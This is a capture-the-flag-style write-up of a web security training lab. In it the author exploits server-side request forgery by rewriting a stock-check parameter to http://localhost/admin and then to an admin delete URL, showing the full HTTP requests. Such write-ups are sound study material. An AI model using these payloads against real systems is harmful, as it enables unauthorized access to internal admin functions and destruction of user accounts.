Basic SSRF against the local server

Description

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

Approach

Upon gaining access to the lab, I navigated straight to the home page and decided to explore the "check the stock" functionality. What caught my attention was that it sent a POST request to /product/stock, passing a parameter named stockApi that was intended to fetch data from another URL.

POST /product/stock HTTP/2
Host: 0a6400a20434b0bc835f7ebf00b200fc.web-security-academy.net
Cookie: session=VM2I6IgOw2GCWCUtKkbp2wq3RSDafEdA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a6400a20434b0bc835f7ebf00b200fc.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: https://0a6400a20434b0bc835f7ebf00b200fc.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

I decided to manipulate the stockApi parameter, changing it to http://localhost/admin, which surprisingly granted me access to the admin panel. However, my attempt to delete the user "Carlos" was unsuccessful due to lacking admin privileges (determined by the session cookie). Upon inspecting the request responsible for user deletion, I noticed it was a GET request.

GET /admin/delete?username=carlos HTTP/2
Host: 0a6400a20434b0bc835f7ebf00b200fc.web-security-academy.net
Cookie: session=VM2I6IgOw2GCWCUtKkbp2wq3RSDafEdA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a6400a20434b0bc835f7ebf00b200fc.web-security-academy.net/product?productId=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

Since I successfully accessed the admin panel, I realized I could exploit this by sending a request to delete the user "Carlos" via Server-Side Request Forgery (SSRF). My request looked something like this:

POST /product/stock HTTP/2
Host: 0a6400a20434b0bc835f7ebf00b200fc.web-security-academy.net
Cookie: session=VM2I6IgOw2GCWCUtKkbp2wq3RSDafEdA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a6400a20434b0bc835f7ebf00b200fc.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: https://0a6400a20434b0bc835f7ebf00b200fc.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

stockApi=http://localhost/admin/delete?username=carlos

With this manipulation, I successfully deleted the "Carlos" user, thereby solving the lab.